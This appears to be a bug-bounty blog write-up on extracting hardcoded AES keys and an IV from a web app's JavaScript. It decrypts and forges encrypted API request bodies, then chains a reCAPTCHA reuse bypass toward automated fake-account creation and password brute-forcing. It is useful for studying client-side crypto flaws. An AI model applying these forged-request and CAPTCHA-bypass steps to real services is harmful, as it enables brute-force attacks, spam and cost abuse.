An in-depth analysis of reverse engineering client-side encryption in a web application.
Target Background
The target is a web application accessible through both web browsers and mobile applications on Android and iOS platforms. The application utilizes a centralized CDN (Content Delivery Network) system, indicating that there are multiple applications with similar features and shared resources. Through subdomain enumeration, it was discovered that the target has more than 15 applications sharing the same technology and all served by Amazon CDN.
Overview
Reconnaissance is a crucial step in identifying vulnerabilities in wide-ranging targets. During the recon phase, an interesting scenario was encountered where the application had been developed to encrypt all communication. The application employs a REST API service, and the host value in the REST API calls differs from the actual application URL. The request and response data bodies are encoded to ensure secure communication. However, due to the developer’s decision to hardcode encryption keys and initialization vectors (IVs) in the client-side code, the application’s security is compromised, despite being coded to provide an encrypted connection.
Recon
The following elements were investigated during the reconnaissance phase:
- Technology stack: ReactJS
- CDN: Amazon CDN
- API service: REST API
- REST API host differs from the actual application URL
- Sources loaded in the debugger/sources tab of the browser’s development tools were examined
- REST API communications, authorization mechanism, and encryption were analyzed
Analyzing Loaded Sources
Considering the wide scope of the target and the shared CDN system, it was decided to examine the JavaScript (JS) files, excluding the chunk files generated by frameworks.
Files Discovered
The following JS files were identified:
- booking.js
- desktop.js
- home.js
- search.js
- signin.js
- signup.js
- main.js
An in-depth analysis of all JS files was performed to identify keywords such as “enc,” “encrypt,” “key,” “IV,” “initialization,” and “vector.” However, no significant findings were obtained from these files. However, further investigation of the main.js file revealed valuable information.
91622: function (e, t) {
'use strict';
t.Z = {
apiDomain: 'https://api.abc.com',
adminDomain: 'https://admin.abc.com',
searchApiDomain: 'https://search.abc.com',
searchApiDomain: 'https://search.abc.com',
preprodApiDomain: 'https://preprod.abc.com',
bookingApiDomain: 'https://bookings.abc.com',
blogsApiDomain: 'https://secure.abc.com',
analyticsDomain: 'https://analytics.abc.com',
cdnPath: 'https://cdn.abc.com',
s3accessKeyId: 'test-############',
s3secretKey: 'test-############',
s3Region: 'west',
dataHasKey: '###################=',
dataIVKey: 'jm8lgqa3j1d0ajus',
zendesk: '###########################',
giftCardUrl: 'https://join.abc.com/gift-card/',
ASSET_CDN_PATH: 'https://assets.abc.com',
consoleEnv: 'production',
recaptchaV2Key: '###################-kAQFKNGH-',
SHOPBACK_URL_DYNAMIC: 'https://shopback.abc.org/aff_l',
SHOPBACK_MERCHANT_ID: '#########',
encryptionKeys: '["##_analytics_detail||VWlRMVRtTnllWEJVSVRCdUo=","club_membership_detail||RFZEVW1WMEtFQlJKSDA9"]'
}
}
A detailed analysis of the code revealed that the application also loads resources from another CDN. The main.js file contained the initialization vector (IV) referred to as dataIVKey
in the code.
To investigate the encryption used in REST API calls, the application was loaded in the browser.
The JS source files on the CDN subdomain cdnPath: 'https://cdn.abc.com'
were inspected. While there were numerous files present, one file stood out: app.js. This file contained the necessary details for further exploitation.
abc.factory('SiteSettingService', [
'$cookies',
'$http',
'$q',
'SiteSettings',
'$rootScope',
'UrlFormatter',
'LocalStorage',
'$location',
'MessageModal',
'blockUI',
'EncryptDecrypt',
'SearchConditions'
]
The JS file contained functions for encrypting and decrypting the API body in HTTP requests and responses. The keyword “encrypt” led to the discovery of the encryption and decryption function code shown below:
abc.factory('EncryptDecrypt', [
'AppSettings',
function () {
return {
encryptKEY: 'UiQ1TmNyeXBUITBuJDVDUmV0KEBRJH0=',
setkey: function (t) {
this.encryptKEY = t
},
encrypt: function (t) {
var e = this.encryptKEY,
n = 'jm8lgqa3j1d0ajus',
r = JSON.stringify(t);
return CryptoJS.AES.encrypt(r, CryptoJS.enc.Utf8.parse(e), {
iv: CryptoJS.enc.Utf8.parse(n),
padding: CryptoJS.pad.Pkcs7,
mode: CryptoJS.mode.CBC
}).toString() + '---' + window.btoa(n)
},
decrypt: function (t) {
var e = t.split('---'),
n = browserCrypto.Buffer.from(e[1], 'base64'),
r = browserCrypto.Buffer.from(e[0], 'base64'),
a = browserCrypto.Buffer.from(this.encryptKEY),
o = browserCrypto.createDecipheriv('aes256', a, n),
i = o._update(r),
s = o.final(),
l = (i = browserCrypto.Buffer.concat([i,
s])).toString();
return JSON.parse(l)
}
}
}
])
By reading the above code we clearly have an idea of what are the tools are required to break down this API encryption wall.
Handy tools to break the wall
- Encryption key = UiQ1TmNyeXBUITBuJDVDUmV0KEBRJH0=
- IV = jm8lgqa3j1d0ajus
- Encryption Mode = CBC
- Encryption Algorithm = AES
Let’s break
I used the online AES decryption application you can find it here.
Before start decrypting the json body let’s go through the code first. The below line in the code shows that the final payload is created by adding the encrypted payload and ---
dashes and then follwed by the base64 encoded IV.
return CryptoJS.AES.encrypt(r, CryptoJS.enc.Utf8.parse(e), {
iv: CryptoJS.enc.Utf8.parse(n),
padding: CryptoJS.pad.Pkcs7,
mode: CryptoJS.mode.CBC
}).toString() + '---' + window.btoa(n)
btoa() method is used for encoding a string in base-64 format, so the IV will be encoded in base64 format.
Let’s break down the final payload the API is sending to the server.
{
"data": "Ht2YM+y/yp4cn11iaWs/PmqQlSuLgrxMZwrQKnAt+qwRBYL2gt3uCHtPWC4soU1j0861mHg4Ij2jSJ0sq5R4iQK0lJ25hRjDf8OqwpNG97jv5jcCSNSFyYhjLqZYRGeFTLcxM7p4Jj9dl54LcXYWCPgAinKdQiPx/y9NC1g02g06HtCLFNFZlrTtJXPoFA70vkuT3VF84pHS+0yX3tVS0d0+b0AYlrePSuF8qxfnGGCcnhcbD/tCqesu3gFp3VCvZUaAnc9SzQlpF04a/D3R+izDG97FHEIFDsULmX0YOW5tEoUcsWRbDTfuswChDmrpNx6wMK8VR5+oSMF5r/y8eWEak0Xiaa9vc8J/TIt+j26pvDIgHRzCwfe7E9NpbBgiTt9OqoyZEyL61PRZ5UybCqqfj659WBKbF3B6ThQNQWw56CJDUTGp3sK59izgl4Bn3P76MvlpDC7rg4JTmprlk1BqxvMjmG/vqZn6IXUDR+TNHr+6zCfSTDkbeYKojs663BvddsrJIuhzgFryHe3DUZFnOahR1ViDanCahRZFkK97mfxUwHfAfJqkWkkpEhpAEV1ZUiBUpohmCWIYxjxtOBo9M9oiAxcAHZW9rbVu1X1KyadnRnO/i4JU40e8EmwsokGoufbi5Z5wOgK9sEO9LFTDH5LnF+UwXBM25oI3UFmwWrrYljNPdexm4iksslRUZGx1FQa1BlHQ8hGH+ch+ZOFu/AI8wfWx0v6lUiAx8ZTpmb+JQDb90S38rMIuh08frCixM9uyNiP1ue/W6lPW4GThtLSXcT+Ua+d4xrIHaEXP4mNNSUIQwUSo2m7kq3OoxNpbvjd3EtM9EkyJEIXcI0nn7cXuTfRpmJNMzJ0mrx6wMgJkPGJVrttNfhP4/FUXj/RrG4KYt+bpHrd7vExXNYYQCHRCKjRUzvr1ON99wBkaSHzvKHz9x/i0IMQ9kNBNB3Bge9mTsHaYs3nFqQOXS+HkASZkmc0jF+dK33X2fv8tBfJvQF4FL2AFPKyvPId3cq+RWLmvWde9h19ewuLBX/0adpiDea7HgnnIH3NewQhcrCZvfWodqtmhPKowtwk1---am04bGdxYTNqMWQwYWp1cw=="
}
In the last line in the final payload there are 3 ---
dashes and followed by base64 encoded string which is the dataIV.
Alright! let decrypt the request payload and let’s see how can we create an actual impact.
Decrypting the request data
{
"textToEncrypt": null,
"textToDecrypt": "Ht2YM+y/yp4cn11iaWs/PmqQlSuLgrxMZwrQKnAt+qwRBYL2gt3uCHtPWC4soU1j0861mHg4Ij2jSJ0sq5R4iQK0lJ25hRjDf8OqwpNG97jv5jcCSNSFyYhjLqZYRGeFTLcxM7p4Jj9dl54LcXYWCPgAinKdQiPx/y9NC1g02g06HtCLFNFZlrTtJXPoFA70vkuT3VF84pHS+0yX3tVS0d0+b0AYlrePSuF8qxfnGGCcnhcbD/tCqesu3gFp3VCvZUaAnc9SzQlpF04a/D3R+izDG97FHEIFDsULmX0YOW5tEoUcsWRbDTfuswChDmrpNx6wMK8VR5+oSMF5r/y8eWEak0Xiaa9vc8J/TIt+j26pvDIgHRzCwfe7E9NpbBgiTt9OqoyZEyL61PRZ5UybCqqfj659WBKbF3B6ThQNQWw56CJDUTGp3sK59izgl4Bn3P76MvlpDC7rg4JTmprlk1BqxvMjmG/vqZn6IXUDR+TNHr+6zCfSTDkbeYKojs663BvddsrJIuhzgFryHe3DUZFnOahR1ViDanCahRZFkK97mfxUwHfAfJqkWkkpEhpAEV1ZUiBUpohmCWIYxjxtOBo9M9oiAxcAHZW9rbVu1X1KyadnRnO/i4JU40e8EmwsokGoufbi5Z5wOgK9sEO9LFTDH5LnF+UwXBM25oI3UFmwWrrYljNPdexm4iksslRUZGx1FQa1BlHQ8hGH+ch+ZOFu/AI8wfWx0v6lUiAx8ZTpmb+JQDb90S38rMIuh08frCixM9uyNiP1ue/W6lPW4GThtLSXcT+Ua+d4xrIHaEXP4mNNSUIQwUSo2m7kq3OoxNpbvjd3EtM9EkyJEIXcI0nn7cXuTfRpmJNMzJ0mrx6wMgJkPGJVrttNfhP4/FUXj/RrG4KYt+bpHrd7vExXNYYQCHRCKjRUzvr1ON99wBkaSHzvKHz9x/i0IMQ9kNBNB3Bge9mTsHaYs3nFqQOXS+HkASZkmc0jF+dK33X2fv8tBfJvQF4FL2AFPKyvPId3cq+RWLmvWde9h19ewuLBX/0adpiDea7HgnnIH3NewQhcrCZvfWodqtmhPKowtwk1",
"secretKey": "UiQ1TmNyeXBUITBuJDVDUmV0KEBRJH0=",
"mode": "CBC",
"keySize": 256,
"output": "eyJmaXJzdF9uYW1lIjoidGVzdCIsImxhc3RfbmFtZSI6InVzZXIiLCJlbWFpbCI6Im5qQHR2aHNlYy5jb20iLCJwaG9uZSI6IjkxODc5NDU2MzIxNCIsInBhc3N3b3JkIjoiUGFzc0AxMjMiLCJjb25maXJtX3Bhc3N3b3JkIjoiUGFzc0AxMjMiLCJpc191bnN1YnNjcmliZWQiOnRydWUsImNhcHRjaGEiOiIwM0FGWV9hOFhONGNCUVFjMGRnQnNlYTRKc1NEdEpuYTFGb09yX1BWYlFOeGYwSnpLZEdLRXNyeWpfWXNKazlQQ05aaDhWNmV3R1dLam1xQkMyQzJ0NWNvSmR4OWFaZ00wUGRCbDRfMzQ1dTE0MlZrXzhDT2c4R3Z4dXRmRjJvQ1p6WGVUTVdnVmNXMlpnMzFMNWszd3VXVkVnSlFnQXJOZ1E0VUhwYW5BQ1lkeEZpTENRYl84SUpTMWdEbVNKY3pZZHRYZ1kybnNBOGQ3Sl9sd0xJNHJnb1Y1Z2IwVXAzWnJSUEZKTnduUk4tS3h0d0dtRGJpYjk2TF9ZbDF6Ym03TFZjSkJNRzZhbDJyMEw1dGt1eFdsdTV0RTZ4MTIzYWNFQ0lQUVJkMktKN2Fwc1owbkd3VF9GdFEtMnJCbjVRTDJtU0x5a0tlQ3ZsNFE1TUphZlR6OTV6ODNJcEs5QVZWUkwwRWl5dENVWjhSQ205NzRoOV9xTTVLa091RXoxQmU3THpMRDJFUzNpNjJQbHZvUGZ6UXlMV3RaUWNSSDRPTWhvcTlMMkduUXVTbE5SaHRqNGVycVRhdkV3eC1ZQklPNnpqeFdWWnBtTm5LWG1uREk0amZNa3FTUk1EaTVqdFFHeXYxQ0tMRVMyRHU0MTFkaGNYR3ZqVVhQSUh3SUlrTDhCdl9weWlENmJSTkdHdXJJSkhEWTZFdDlzUVBRbWJmU2JxQnYxNm1Fd0dxbEdmMWk4LThMbUQ1RSIsInZlcnNpb24iOiJ2MiIsInJlY3RWaWV3IjoidnVlIiwic291cmNlIjoiTG9naW5BY3Rpdml0eSJ9",
"dataFormat": "Base64",
"iv": "jm8lgqa3j1d0ajus"
}
decode the base64 encoded output from the above
{
"first_name": "test",
"last_name": "user",
"email": "nj@tvhsec.com",
"phone": "918794563214",
"password": "Pass@123",
"confirm_password": "Pass@123",
"is_unsubscribed": true,
"captcha": "03AFY_a8XN4cBQQc0dgBsea4JsSDtJna1FoOr_PVbQNxf0JzKdGKEsryj_YsJk9PCNZh8V6ewGWKjmqBC2C2t5coJdx9aZgM0PdBl4_345u142Vk_8COg8GvxutfF2oCZzXeTMWgVcW2Zg31L5k3wuWVEgJQgArNgQ4UHpanACYdxFiLCQb_8IJS1gDmSJczYdtXgY2nsA8d7J_lwLI4rgoV5gb0Up3ZrRPFJNwnRN-KxtwGmDbib96L_Yl1zbm7LVcJBMG6al2r0L5tkuxWlu5tE6x123acECIPQRd2KJ7apsZ0nGwT_FtQ-2rBn5QL2mSLykKeCvl4Q5MJafTz95z83IpK9AVVRL0EiytCUZ8RCm974h9_qM5KkOuEz1Be7LzLD2ES3i62PlvoPfzQyLWtZQcRH4OMhoq9L2GnQuSlNRhtj4erqTavEwx-YBIO6zjxWVZpmNnKXmnDI4jfMkqSRMDi5jtQGyv1CKLES2Du411dhcXGvjUXPIHwIIkL8Bv_pyiD6bRNGGurIJHDY6Et9sQPQmbfSbqBv16mEwGqlGf1i8-8LmD5E",
"version": "v2",
"rectView": "vue",
"source": "LoginActivity"
}
Now we have successfully decoded the JSON body and now we have to construct a fully working JSON payload to send it to the server, for that we have to contruct a payload as below in the js code.
return CryptoJS.AES.encrypt(r, CryptoJS.enc.Utf8.parse(e), {
iv: CryptoJS.enc.Utf8.parse(n),
padding: CryptoJS.pad.Pkcs7,
mode: CryptoJS.mode.CBC
}).toString() + '---' + window.btoa(n)
Valid request body = Encrypted payload + ---
+ base64 encoded IV
Encrypted Payload
{
"textToEncrypt": "{\n \"first_name\": \"enc\",\n \"last_name\": \"user\",\n \"email\": \"nj+1@tvhsec.com\",\n \"phone\": \"918794563214\",\n \"password\": \"Pass@123\",\n \"confirm_password\": \"Pass@123\",\n \"is_unsubscribed\": true,\n \"captcha\": \"03AFY_a8XN4cBQQc0dgBsea4JsSDtJna1FoOr_PVbQNxf0JzKdGKEsryj_YsJk9PCNZh8V6ewGWKjmqBC2C2t5coJdx9aZgM0PdBl4_345u142Vk_8COg8GvxutfF2oCZzXeTMWgVcW2Zg31L5k3wuWVEgJQgArNgQ4UHpanACYdxFiLCQb_8IJS1gDmSJczYdtXgY2nsA8d7J_lwLI4rgoV5gb0Up3ZrRPFJNwnRN-KxtwGmDbib96L_Yl1zbm7LVcJBMG6al2r0L5tkuxWlu5tE6x123acECIPQRd2KJ7apsZ0nGwT_FtQ-2rBn5QL2mSLykKeCvl4Q5MJafTz95z83IpK9AVVRL0EiytCUZ8RCm974h9_qM5KkOuEz1Be7LzLD2ES3i62PlvoPfzQyLWtZQcRH4OMhoq9L2GnQuSlNRhtj4erqTavEwx-YBIO6zjxWVZpmNnKXmnDI4jfMkqSRMDi5jtQGyv1CKLES2Du411dhcXGvjUXPIHwIIkL8Bv_pyiD6bRNGGurIJHDY6Et9sQPQmbfSbqBv16mEwGqlGf1i8-8LmD5E\",\n \"version\": \"v2\",\n \"rectView\": \"vue\",\n \"source\": \"LoginActivity\"\n}",
"textToDecrypt": null,
"secretKey": "UiQ1TmNyeXBUITBuJDVDUmV0KEBRJH0=",
"mode": "CBC",
"keySize": 256,
"output": "7LJE5P5kV3HvDdOdxWPQkQDbwqlTp2817vWfuCp/F3CzdTj9rWvrAlisK7/pRR0ff7g6Fd16im4Zrw1Zac5qHSbTRmV2cyvHgKcRwtonAGnU0toMYEuPkXdswUGKKgJRkZ0nQcYZVsPRX5D2gWoglp4kzFHZM8Y1dtVQLoYeqi3pc8vKI5FU5AeeTqZdAWWVEJcsZIlKY2o94fVzrXJ1XD/95aLXk3wbfDhJDP50jMfSM8TAl4Oa7mBbpMArnNU4XJscqfuXrXc5KyxvyPbmc/IwA7ndlhljJJ7zMjtnS9GzzkYjuWdISkLB1rH/pvXS7AUEj0UpIn2DBIsHayVYkBYHaRP6YZ8vVZGMoXVK1kS6w1W6JFUOzkfcTMWVbKAifJxxtlzt5cuJZa/iDHTMMrh/xAOqc04mdn73sBGAFMN5KlJx0lEe8XlKFkm3UcRdrzLj0/VmLHAN75dXX7iNs5ZvswYr8EcHG2fscIIoJ3mtySlDVgcR1fl8ZIcSXLVAzzazF8ZldJ9bzExMrFqUK73R9ZE5sEJIgoWqotlBIWUxC8WtfY8aLLcWiDHaPvoGtS5lnajJ0/zx5oHEFKdZaGDsGjOycGHeJbZgkDU5u3WhzrgTw8+FaNqluT+vDPHTlxpDPy/h1I7TL1YfpjLeUjSIEY2gYmD1Ew/ii5lBBPcqI7F3gWNh+t/wt7Y7xSmXJ92Z9X93iVAiM27yEnbreC8i5GQzU+OgqPogrEw8Lu0m86cpgGfXrv1bL2ihxW9fNKEWCexMx0U0cHdlqDVdoQ3PcyutXRvZH58F81Aw2jL0O6GC7/ijYN59gboFhoh7Fh0GWRlRkMA2gXnGgNZejFUE8qzTnusINmEeGwbmdIQ18w/WGKT0V5ZvCDbjVCIHK8fOx+64y0oJ4tN7a2/idP5Xlciz1qsitfuCB+7DBhIgSpOXbG+Pe6mW9lW31qlyljabDpk3SdX+X9z+9Hh7/7QooghpXePk+snSTtqHPxWlKI/np5cGcBmnB8kZXGOyyeBuLOciKdEdqJ8Luu6huLGNSo9ftaDgn9TMjcBw2c2MU6sClP31DYTlfake9iaFrXrdisi+YorPU4g+T8ojrVpDGWnnh1uHjc8KsTlsULU=",
"dataFormat": "Base64",
"iv": "jm8lgqa3j1d0ajus"
}
Newly constructed request
Now it’s time to exploit issues and create a huge impact. Based on the decrypted data as we can see, the application is using the CAPTCHA system to protect the application from the brute-forcing and spamming vulnerabilities. If we can find a way to bypass the CAPTCHA protection then we can convince the triager to show the real imapcts like high resource usage, spamming and by create user accounts with false data. The last part creating false accounts using false data is only applicable when the application does not have data verification system. As per the recon the application is not validating anything at all, so now we can show the impact.
Let’s jump into find a way to bypass the CAPTCHA.
CAPTCHA Recon
The application is using google reCAPTCHA.
I have observed there was a strange behaviour in the reCAPTCHA system which is everytime you click the checkbox it sends two requests such as 1 to get the CAPTCHA response and other is to verify the CAPTCHA response in the next upcoming request.
Bypass
We cannot send the same CAPTCHA response code more than once, if we do that the server will respond as below,
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Set-Cookie: blah...blah...blah...; Path=/; HttpOnly
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains
["uvresp",null,null,null,2]
From the below request what i have observed is you can send the below CAPTCHA request as long as we want and it will still provide us the response code to be verified in the upcoming verification request.
Workflow
Get CAPTCHA code -> use it in next verfication request -> will provide the final CAPTCHA code which is included in the JSON body
The final verification code can be obtained like the below,
So the entire flow will be automated by using a python script to get the final CAPTCHA code to be encrypted in the JSON body to create accounts/any other operations like brute-forcing usernames and passwords.
By chaining the client side code encryption reverse engineering and the misconfigured CAPTCHA mechanism will allow us to create false accounts, resource consumption, increased data tables in DB which will add more cost to the company’s usage bill.
Thanks for reading!
For more updates and insights, follow me on Twitter: @thevillagehacker.